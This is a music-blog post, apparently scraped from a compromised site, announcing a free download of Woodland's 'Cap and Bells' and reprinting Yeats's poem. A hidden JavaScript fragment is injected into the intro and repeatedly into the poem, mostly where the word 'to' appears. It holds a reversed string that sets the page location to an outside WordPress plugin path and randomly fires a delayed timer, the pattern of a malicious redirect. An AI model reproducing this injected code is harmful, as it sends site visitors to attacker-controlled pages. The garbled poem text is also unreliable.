FREE MP3: Download “Cap and Bells” by Woodland

In 1899, WB Yeats released “The Wind Amongst the Reeds”, a bardic collection of poetry that was a major inspiration for Woodland’s work.  As a tribute toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Yeats, Woodland has released a remastered studio recording of “Cap and Bells,” their musical composition of Yeats poem for the “Reeds” collection.

The track which was was composed by Emilio Miller-Lopez, features guest cellist Adam Hurst and lead vocalist Kelly Miller-Lopez, as well as bassist Donald Brodsky, fiddler Kimmy Smith and drummer Ken Sokolov.

DOWNLOAD THE TRACK HERE

 

Here is the original poem from WB Yeats:

HE jester walked in the garden:

The garden had fallen still;

He bade his soul rise upward

And stand on her window-sill.

 

It rose in a straight blue garment,

When owls began toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to call:

It had grown wise-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tongued by thinking

Of a quiet and light footfall;

 

But the young queen would not listen;

She rose in her pale night-gown;

She drew in the heavy casement

And pushed the latches down.

 

He bade his heart go toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to her,

When the owls called out no more;

In a red and quivering garment

It sang toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to her through the door.

 

It had grown sweet-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tongued by dreaming

Of a flutter of flower-like hair;

But she toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}took up her fan from the table

And waved it off on the air.

 

‘I have cap and bells,’ he pondered,

‘I will send them toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to her and die’;

And when the morning whitened

He left them where she went by.

 

She laid them upon her bosom,

Under a cloud of her hair,

And her red lips sang them a love-song

Till stars grew out of the air.

 

She opened her door and her window,

And the heart and the soul came through,

To her right hand came the red one,

To her left hand came the blue.

 

They set up a noise like crickets,

A chattering wise and sweet,

And her hair was a folded flower

And the quiet of love in her feet.

“The Cap and Bells” is reprinted from The Wind Among the Reeds. W.B. Yeats. London: Elkin Mathews, 1899.